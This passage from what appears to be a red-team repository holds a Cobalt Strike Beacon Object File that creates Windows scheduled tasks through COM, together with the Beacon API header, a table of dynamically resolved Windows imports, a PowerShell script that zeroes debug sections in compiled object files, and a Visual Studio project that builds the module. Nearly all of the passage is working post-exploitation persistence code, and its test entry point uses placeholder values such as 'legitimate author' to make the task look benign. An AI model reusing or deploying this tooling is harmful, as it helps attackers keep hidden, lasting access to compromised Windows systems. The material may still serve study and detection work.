| pRootFolder->Release(); 225 | pTask->Release(); 226 | return print_error("pExecAction->put_Path", hr); 227 | } 228 | 229 | hr = pExecAction->put_Arguments(exec_args); 230 | if (FAILED(hr)) { 231 | pRootFolder->Release(); 232 | pTask->Release(); 233 | return print_error("pExecAction->put_Arguments", hr); 234 | } 235 | 236 | 237 | hr = pRootFolder->RegisterTaskDefinition(task_name, pTask, 238 | TASK_CREATE_OR_UPDATE, 239 | vEmptyString, vEmptyString, 240 | TASK_LOGON_INTERACTIVE_TOKEN, 241 | vEmptyString, 242 | &pRegisteredTask 243 | ); 244 | if (FAILED(hr)) { 245 | pRootFolder->Release(); 246 | pTask->Release(); 247 | return print_error("pRootFolder->RegisterTaskDefinition", hr); 248 | } 249 | 250 | 251 | 252 | pRootFolder->Release(); 253 | pTask->Release(); 254 | pRegisteredTask->Release(); 255 | 256 | return TRUE; 257 | } 258 | 259 | 260 | 261 | #ifdef BOF 262 | void go(char* buff, int len) { 263 | datap parser; 264 | 265 | wchar_t* task_name, 266 | * author, 267 | * description, 268 | * command, 269 | * args; 270 | 271 | 272 | BeaconDataParse(&parser, buff, len); 273 | 274 | task_name = (wchar_t*)BeaconDataExtract(&parser, 0); 275 | author = (wchar_t*)BeaconDataExtract(&parser, 0); 276 | description = (wchar_t*)BeaconDataExtract(&parser, 0); 277 | command = (wchar_t*)BeaconDataExtract(&parser, 0); 278 | args = (wchar_t*)BeaconDataExtract(&parser, 0); 279 | 280 | if (!com_init()) 281 | return; 282 | 283 | if (!task_create(task_name, author, description, command, args)) 284 | return; 285 | 286 | CoUninitialize(); 287 | } 288 | 289 | 290 | #else 291 | 292 | void main(int argc, char* argv[]) { 293 | 294 | if (!com_init()) 295 | return; 296 | 297 | if (!task_create(SysAllocString(L"test_task"), SysAllocString(L"legitimate author"), SysAllocString(L"Legitimate desc"), SysAllocString(L"C:\\windows\\system32\\cmd.exe"), SysAllocString(L"/C notepad.exe"))) 298 | return; 299 | 300 | CoUninitialize(); 301 | } 302 | 303 | #endif -------------------------------------------------------------------------------- /examples/scheduled-tasks/beacon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | * Beacon Object Files (BOF) 5 | * ------------------------- 6 | * A Beacon Object File is a light-weight post exploitation tool that runs 7 | * with Beacon's inline-execute command. 8 | * 9 | * Cobalt Strike 4.1. 10 | */ 11 | 12 | /* data API */ 13 | typedef struct { 14 | char * original; /* the original buffer [so we can free it] */ 15 | char * buffer; /* current pointer into our buffer */ 16 | int length; /* remaining length of data */ 17 | int size; /* total size of this buffer */ 18 | } datap; 19 | 20 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 21 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 22 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 23 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 24 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 25 | 26 | /* format API */ 27 | typedef struct { 28 | char * original; /* the original buffer [so we can free it] */ 29 | char * buffer; /* current pointer into our buffer */ 30 | int length; /* remaining length of data */ 31 | int size; /* total size of this buffer */ 32 | } formatp; 33 | 34 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 35 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 36 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 39 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 40 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 41 | 42 | /* Output Functions */ 43 | #define CALLBACK_OUTPUT 0x0 44 | #define CALLBACK_OUTPUT_OEM 0x1e 45 | #define CALLBACK_ERROR 0x0d 46 | #define CALLBACK_OUTPUT_UTF8 0x20 47 | 48 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 49 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 50 | 51 | /* Token Functions */ 52 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 53 | DECLSPEC_IMPORT void BeaconRevertToken(); 54 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 55 | 56 | /* Spawn+Inject Functions */ 57 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 58 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 59 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 61 | 62 | /* Utility Functions */ 63 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 64 | -------------------------------------------------------------------------------- /examples/scheduled-tasks/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | /* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */ 3 | #include 4 | 5 | 6 | #ifdef BOF 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | #include "beacon.h" 13 | 14 | void go(char* buff, int len); 15 | 16 | /* COM */ 17 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCWSTR, LPCLSID); 18 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); 19 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD); 20 | DECLSPEC_IMPORT VOID WINAPI OLE32$CoUninitialize(); 21 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid); 22 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved); 23 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*); 24 | DECLSPEC_IMPORT BSTR WINAPI OleAut32$SysAllocString(const OLECHAR*); 25 | DECLSPEC_IMPORT LPVOID WINAPI OLEAUT32$VariantInit(VARIANTARG* pvarg); 26 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3); 27 | 28 | /* Registry */ 29 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); 30 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey); 31 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, 32 | CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); 33 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, 34 | CONST BYTE* lpData, DWORD cbData); 35 | 36 | 37 | /* FileSystem */ 38 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 39 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); 40 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod); 41 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize); 43 | DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle); 44 | DECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData); 45 | DECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen); 46 | 47 | 48 | /* Memory */ 49 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 50 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 51 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); 52 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t); 53 | DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t); 54 | 55 | 56 | /* Process */ 57 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 58 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); 59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 60 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); 61 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process); 62 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead); 63 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds); 64 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID); 65 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid); 66 | DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize); 67 | 68 | 69 | /* GetLast Error */ 70 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID); 71 | 72 | 73 | /* Directories */ 74 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR); 75 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 76 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName); 77 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR); 78 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath); 79 | 80 | 81 | /* strings */ 82 | DECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch); 83 | DECLSPEC_IMPORT LPSTR __cdecl MSVCRT$strchr(LPSTR, int); 84 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR); 85 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR); 86 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t); 87 | DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...); 88 | DECLSPEC_IMPORT void WINAPI MSVCRT$sprintf(char*, char[], ...); 89 | DECLSPEC_IMPORT int __cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list); 90 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(LPCWSTR); 91 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2); 92 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2); 93 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2); 94 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength); 95 | DECLSPEC_IMPORT int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString); 96 | DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2); 97 | 98 | 99 | /* RPC */ 100 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String); 101 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid); 102 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid); 103 | 104 | 105 | /* Random */ 106 | DECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial); 107 | DECLSPEC_IMPORT int WINAPI MSVCRT$rand(); 108 | 109 | 110 | /* DateTime */ 111 | DECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time); 112 | 113 | 114 | /* SystemInfo */ 115 | DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); 116 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature); 117 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); 118 | 119 | 120 | 121 | 122 | 123 | 124 | #ifdef __cplusplus 125 | } 126 | #endif 127 | 128 | 129 | /* helper macros */ 130 | 131 | #define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) /* trustedsec */ 132 | #define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr) /* trustedsec */ 133 | #define ZeroMemory(address, size) memset(address, 0, size); 134 | 135 | 136 | /* ----------------------------------- DEFINITIONS ------------------------------------------*/ 137 | 138 | /* COM */ 139 | #define CLSIDFromString OLE32$CLSIDFromString 140 | #define CoCreateInstance OLE32$CoCreateInstance 141 | #define CoInitializeEx OLE32$CoInitializeEx 142 | #define CoUninitialize OLE32$CoUninitialize 143 | #define IIDFromString OLE32$IIDFromString 144 | #define CoInitialize OLE32$CoInitialize 145 | #define CoCreateInstanceEx OLE32$CoCreateInstanceEx 146 | #define SysAllocString OleAut32$SysAllocString 147 | #define VariantInit OLEAUT32$VariantInit 148 | #define CoInitialize OLE32$CoInitialize 149 | #define CoInitializeSecurity OLE32$CoInitializeSecurity 150 | 151 | /* memory */ 152 | #define HeapFree KERNEL32$HeapFree 153 | #define HeapAlloc KERNEL32$HeapAlloc 154 | #define HeapReAlloc KERNEL32$HeapReAlloc 155 | #define memcpy MSVCRT$memcpy 156 | #define memset MSVCRT$memset 157 | 158 | 159 | /* process */ 160 | #define GetProcessHeap KERNEL32$GetProcessHeap 161 | #define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW 162 | #define OpenProcess KERNEL32$OpenProcess 163 | #define VirtualQueryEx KERNEL32$VirtualQueryEx 164 | #define GetProcessId KERNEL32$GetProcessId 165 | #define ReadProcessMemory KERNEL32$ReadProcessMemory 166 | #define GetCurrentProcess KERNEL32$GetCurrentProcess 167 | #define Sleep KERNEL32$Sleep 168 | #define LookupPrivilegeValueW ADVAPI32$LookupPrivilegeValueW 169 | #define GetModuleFileNameExW PSAPI$GetModuleFileNameExW 170 | 171 | 172 | /* debug */ 173 | #define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64 174 | #define SymInitializeW DBGHELP$SymInitializeW 175 | #define SymCleanup DBGHELP$SymCleanup 176 | 177 | 178 | /* filesystem */ 179 | #define CreateFileA KERNEL32$CreateFileA 180 | #define SetFilePointer KERNEL32$SetFilePointer 181 | #define SetFilePointerEx KERNEL32$SetFilePointerEx 182 | #define WriteFile KERNEL32$WriteFile 183 | #define GetFileSizeEx KERNEL32$GetFileSizeEx 184 | #define GetFileVersionInfoSizeW VERSION$GetFileVersionInfoSizeW 185 | #define GetFileVersionInfoW VERSION$GetFileVersionInfoW 186 | #define VerQueryValueW VERSION$VerQueryValueW 187 | 188 | /* error */ 189 | #define GetLastError KERNEL32$GetLastError 190 | 191 | 192 | /* registry */ 193 | #define RegOpenKeyExA ADVAPI32$RegOpenKeyExA 194 | #define RegDeleteTreeA ADVAPI32$RegDeleteTreeA 195 | #define RegCreateKeyExA ADVAPI32$RegCreateKeyExA 196 | #define RegSetValueExA ADVAPI32$RegSetValueExA 197 | 198 | 199 | /* directory */ 200 | #define RemoveDirectoryA KERNEL32$RemoveDirectoryA 201 | #define CreateDirectoryA KERNEL32$CreateDirectoryA 202 | #define MoveFileA KERNEL32$MoveFileA 203 | #define PathIsDirectoryA SHLWAPI$PathIsDirectoryA 204 | #define PathFileExistsA SHLWAPI$PathFileExistsA 205 | 206 | 207 | /* strings */ 208 | #define strchr MSVCRT$strchr 209 | #define strcat_s MSVCRT$strcat_s 210 | #define strcpy_s MSVCRT$strcpy_s 211 | #define strncpy_s MSVCRT$strncpy_s 212 | #define snprintf MSVCRT$_snprintf /*beacon can't find snprintf without the preceeding '_' */ 213 | #define wcslen MSVCRT$wcslen 214 | #define vsnprintf MSVCRT$vsnprintf 215 | #define lstrlenW KERNEL32$lstrlenW 216 | #define lstrcpyW KERNEL32$lstrcpyW 217 | #define strcmp MSVCRT$strcmp 218 | #define lstrcpyA Kernel32$lstrcpyA 219 | #define lstrcatA Kernel32$lstrcatA 220 | #define lstrcpynA Kernel32$lstrcpynA 221 | #define lstrlenW KERNEL32$lstrlenW 222 | #define lstrcpyW KERNEL32$lstrcpyW 223 | #define sprintf MSVCRT$sprintf 224 | 225 | 226 | /* RPC */ 227 | #define RpcStringFreeA Rpcrt4$RpcStringFreeA 228 | #define UuidCreate Rpcrt4$UuidCreate 229 | #define UuidToStringA Rpcrt4$UuidToStringA 230 | 231 | 232 | /* Random */ 233 | #define srand MSVCRT$srand 234 | #define rand MSVCRT$rand 235 | 236 | 237 | /* DateTime */ 238 | #define time MSVCRT$time 239 | 240 | 241 | /* SystemInfo */ 242 | #define GetSystemInfo KERNEL32$GetSystemInfo 243 | #define GetUserNameW ADVAPI32$GetUserNameW 244 | #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent 245 | 246 | #else 247 | 248 | #endif 249 | -------------------------------------------------------------------------------- /examples/scheduled-tasks/resources/strip_bof.ps1: -------------------------------------------------------------------------------- 1 | function strip-bof { 2 | <# 3 | .SYNOPSIS 4 | Removes debug symbols from a beacon object file 5 | 6 | Heavily dependent on code by Matthew Graeber (@mattifestation) 7 | Original code: https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1 8 | Author: Yasser Alhazmi (#yas_o_h) 9 | License: BSD 3-Clause 10 | 11 | .PARAMETER Path 12 | 13 | Specifies a path to one or more object file locations. 14 | 15 | .EXAMPLE 16 | 17 | C:\PS>strip-bof -Path main.obj 18 | 19 | #> 20 | 21 | [CmdletBinding()] Param ( 22 | [Parameter(Position = 0, Mandatory = $True)] 23 | [ValidateScript({ Test-Path $_ })] 24 | [String] 25 | $Path 26 | ) 27 | 28 | 29 | $Code = @' 30 | using System; 31 | using System.IO; 32 | using System.Text; 33 | 34 | namespace COFF 35 | { 36 | 37 | 38 | public class SECTION_HEADER 39 | { 40 | public string Name; 41 | public uint PhysicalAddress; 42 | public uint VirtualSize; 43 | public uint VirtualAddress; 44 | public uint SizeOfRawData; 45 | public uint PointerToRawData; 46 | public uint PointerToRelocations; 47 | public uint PointerToLinenumbers; 48 | public ushort NumberOfRelocations; 49 | public ushort NumberOfLinenumbers; 50 | public uint Characteristics; 51 | public Byte[] RawData; 52 | 53 | public SECTION_HEADER(BinaryReader br) 54 | { 55 | this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0]; 56 | this.PhysicalAddress = br.ReadUInt32(); 57 | this.VirtualSize = this.PhysicalAddress; 58 | this.VirtualAddress = br.ReadUInt32(); 59 | this.SizeOfRawData = br.ReadUInt32(); 60 | this.PointerToRawData = br.ReadUInt32(); 61 | this.PointerToRelocations = br.ReadUInt32(); 62 | this.PointerToLinenumbers = br.ReadUInt32(); 63 | this.NumberOfRelocations = br.ReadUInt16(); 64 | this.NumberOfLinenumbers = br.ReadUInt16(); 65 | this.Characteristics = br.ReadUInt32(); 66 | } 67 | } 68 | 69 | 70 | public class HEADER 71 | { 72 | public ushort Machine; 73 | public ushort NumberOfSections; 74 | public uint TimeDateStamp; 75 | public uint PointerToSymbolTable; 76 | public uint NumberOfSymbols; 77 | public ushort SizeOfOptionalHeader; 78 | public ushort Characteristics; 79 | 80 | public HEADER(BinaryReader br) 81 | { 82 | this.Machine = br.ReadUInt16(); 83 | this.NumberOfSections = br.ReadUInt16(); 84 | this.TimeDateStamp = br.ReadUInt32(); 85 | this.PointerToSymbolTable = br.ReadUInt32(); 86 | this.NumberOfSymbols = br.ReadUInt32(); 87 | this.SizeOfOptionalHeader = br.ReadUInt16(); 88 | this.Characteristics = br.ReadUInt16(); 89 | } 90 | } 91 | } 92 | '@ 93 | 94 | Add-Type -TypeDefinition $Code 95 | Write-Host "enumerating sections..." 96 | try { 97 | $FileStream = [IO.File]::OpenRead($Path) 98 | $BinaryReader = New-Object IO.BinaryReader($FileStream) 99 | $CoffHeader = New-Object COFF.HEADER($BinaryReader) 100 | 101 | # Parse section headers 102 | $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections) 103 | 104 | for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) 105 | { 106 | $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader) 107 | 108 | if($SectionHeaders[$i].Name.Contains("debug")){ 109 | Write-Host "found debug section.. zeroing it..." 110 | $FileStream.Close(); 111 | $FileStream2 = [IO.File]::OpenWrite($Path) 112 | $FileStream2.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null 113 | for($x = 0; $x -lt $SectionHeaders[$i].SizeOfRawData; $x++){ 114 | $FileStream2.WriteByte(0) 115 | } 116 | Write-Host "closing stream..."; 117 | $FileStream2.Close(); 118 | Write-Host "done!"; 119 | return; 120 | } 121 | } 122 | } catch { 123 | Add-Type -AssemblyName PresentationFramework 124 | [System.Windows.MessageBox]::Show("error stripping debug symbols: " + $_.ToString()); 125 | return; 126 | } 127 | } -------------------------------------------------------------------------------- /examples/scheduled-tasks/scheduled-tasks.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BOF 6 | Win32 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | BOF 18 | x64 19 | 20 | 21 | Debug 22 | x64 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | Win32Proj 32 | {9d519b22-0a27-4cd8-9f64-1e490ad180e4} 33 | scheduled-tasks 34 | 10.0 35 | scheduled-tasks 36 | 37 | 38 | 39 | Application 40 | true 41 | v142 42 | Unicode 43 | 44 | 45 | Application 46 | false 47 | v142 48 | true 49 | Unicode 50 | 51 | 52 | Application 53 | true 54 | v142 55 | Unicode 56 | 57 | 58 | Application 59 | false 60 | v142 61 | true 62 | Unicode 63 | 64 | 65 | v142 66 | Console 67 | 68 | 69 | 70 | 71 | Console 72 | 73 | v142 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o;$(ExtensionsToDeleteOnClean) 97 | 98 | $(SolutionDir)bin\$(Configuration)\ 99 | intermediary\$(Configuration)\$(Platform)\ 100 | $(ProjectName)x64 101 | 102 | 103 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(ExtensionsToDeleteOnClean) 104 | 105 | $(SolutionDir)bin\$(Configuration)\ 106 | $(ProjectName)x32 107 | intermediary\$(Configuration)\x86\ 108 | 109 | 110 | $(SolutionDir)bin\$(Configuration)\ 111 | $(ProjectName)64 112 | 113 | 114 | $(SolutionDir)bin\$(Configuration)\ 115 | $(ProjectName)32 116 | 117 | 118 | $(SolutionDir)bin\$(Configuration)\ 119 | $(ProjectName)32 120 | 121 | 122 | $(SolutionDir)bin\$(Configuration)\ 123 | $(ProjectName)64 124 | 125 | 126 | 127 | EnableAllWarnings 128 | true 129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 130 | false 131 | 132 | 133 | Level1 134 | 135 | 136 | Console 137 | true 138 | 139 | 140 | 141 | 142 | Level4 143 | true 144 | true 145 | true 146 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 147 | false 148 | Level1 149 | 150 | 151 | 152 | 153 | Console 154 | true 155 | true 156 | true 157 | 158 | 159 | 160 | 161 | EnableAllWarnings 162 | true 163 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 164 | false 165 | true 166 | Level1 167 | 168 | 169 | Console 170 | true 171 | 172 | 173 | 174 | 175 | Level4 176 | true 177 | true 178 | true 179 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 180 | false 181 | Level1 182 | 183 | 184 | Console 185 | true 186 | true 187 | true 188 | 189 | 190 | 191 | 192 | /c /Fo"intermediary\BOF\x64\source" 193 | 194 | 195 | None 196 | false 197 | BOF;%(PreprocessorDefinitions) 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | Level1 222 | 223 | 224 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\$(Platform)\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*"; 225 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }" 226 | 227 | 228 | 229 | 230 | /c /Fo"intermediary\BOF\x86\source" 231 | 232 | 233 | None 234 | false 235 | BOF;%(PreprocessorDefinitions) 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | Level1 257 | 258 | 259 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\x86\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.o*"; 260 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj' }" 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 